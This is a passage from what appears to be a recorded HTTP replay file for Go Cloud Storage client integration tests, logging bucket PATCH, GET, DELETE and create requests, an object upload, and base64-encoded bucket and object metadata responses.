InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA3L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDcvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDciLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDcvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNy9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNyIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUk9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBST0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBST0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsImRlZmF1bHRFdmVudEJhc2VkSG9sZCI6dHJ1ZSwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJldGFnIjoiQ0FJPSJ9" - } - }, - { - "ID": "b7230d8a6b23fd8b", - "Request": { - "Method": "PATCH", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0007?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "35" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJiaWxsaW5nIjp7InJlcXVlc3RlclBheXMiOnRydWV9fQo=" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "2493" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:35 GMT" - ], - "Etag": [ - "CAM=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uouwpmid1Y6D0uXWBb_WrmlZVHKYnw0RGbreddchrmPzQUE1H_DeclZnbl6Yb2346L4YNt44ZeZWEM2u46h7Zx45lw9rUFxZDQIvlXRn4vT6fW4WQQ" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNyIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNyIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA3IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjMzLjcwNVoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTozNS4zMzNaIiwibWV0YWdlbmVyYXRpb24iOiIzIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDcvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA3L2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDciLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FNPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA3L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDcvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDciLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQU09In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDcvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNy9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNyIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQU09In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBTT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQU09In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBTT0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsImRlZmF1bHRFdmVudEJhc2VkSG9sZCI6dHJ1ZSwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJiaWxsaW5nIjp7InJlcXVlc3RlclBheXMiOnRydWV9LCJldGFnIjoiQ0FNPSJ9" - } - }, - { - "ID": "ec9da9e78b750503", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0007?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "2493" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:35 GMT" - ], - "Etag": [ - "CAM=" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:35 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uq25oUSnJMHsIEARHohSGtkz5vw7RCXuQupRBliEjCXMeivgUIK0y9C3U4yWEJ-_182SvGUQLvo5rXxymcoyahwAEhfe21FJU_M2IijdiWsSv83eow" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNyIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNyIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA3IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjMzLjcwNVoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTozNS4zMzNaIiwibWV0YWdlbmVyYXRpb24iOiIzIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDcvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA3L2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDciLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FNPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA3L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDcvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDciLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQU09In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDcvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNy9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNyIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQU09In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBTT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQU09In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBTT0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsImRlZmF1bHRFdmVudEJhc2VkSG9sZCI6dHJ1ZSwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJiaWxsaW5nIjp7InJlcXVlc3RlclBheXMiOnRydWV9LCJldGFnIjoiQ0FNPSJ9" - } - }, - { - "ID": "ad49d37f07d631a5", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0007?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:25:36 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uq02fbr_iko_zBCbJljbMwyW7mOaz1cqR6AWHm2ac3m9BcqrUXNkmRqxk0R2rZW6SAUC_KzbOze-1wUGY2E0g6wbYLUqcb8IOdqN2-ROvYO49uxzjE" - ] - }, - "Body": "" - } - }, - { - "ID": "7b04c14c4e323488", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b?alt=json\u0026prettyPrint=false\u0026project=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "60" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA4In0K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "485" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:36 GMT" - ], - "Etag": [ - "CAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrJrrmhbKyKRTvA3_mNqzRsaaMOAAlvn8UMwBiOR77-6X6m5InqoXMb4qoollPzgpcFOmchQ54jFNic0xJf-tiGu0tlrzSdbjh5Hzw8Rl3RnJy_jPw" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOCIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA4IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjM2LjUwMVoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTozNi41MDFaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiaWFtQ29uZmlndXJhdGlvbiI6eyJidWNrZXRQb2xpY3lPbmx5Ijp7ImVuYWJsZWQiOmZhbHNlfX0sImxvY2F0aW9uIjoiVVMiLCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsImV0YWciOiJDQUU9In0=" - } - }, - { - "ID": "ae3e9c648aaff158", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0008/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDgiLCJuYW1lIjoic29tZS1vYmoifQo=", - "X7Xb+/Xtxt2fLTn7y+yBvw==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3193" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:37 GMT" - ], - "Etag": [ - "CJbmhujx/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrJv7oOcHCzf9atnIPo70j3xSldrZtXTb5CmV1iuM4mMPU4hiBgpDqCAdUDI3i9hlR2qRie9qT30AJNshzO5CSsuzoTQ88W255VO8VVumaCSZ0KXZs" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOC9zb21lLW9iai8xNTU2ODM1OTM3MTM3NDMwIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA4L28vc29tZS1vYmoiLCJuYW1lIjoic29tZS1vYmoiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDgiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTkzNzEzNzQzMCIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTozNy4xMzdaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjU6MzcuMTM3WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjM3LjEzN1oiLCJzaXplIjoiMTYiLCJtZDVIYXNoIjoiZExyZG9WZ2p4bEFBR05hWVgxQm1idz09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOC9vL3NvbWUtb2JqP2dlbmVyYXRpb249MTU1NjgzNTkzNzEzNzQzMCZhbHQ9bWVkaWEiLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOC9zb21lLW9iai8xNTU2ODM1OTM3MTM3NDMwL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOC9vL3NvbWUtb2JqL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDgiLCJvYmplY3QiOiJzb21lLW9iaiIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTM3MTM3NDMwIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNKYm1odWp4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOC9zb21lLW9iai8xNTU2ODM1OTM3MTM3NDMwL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJ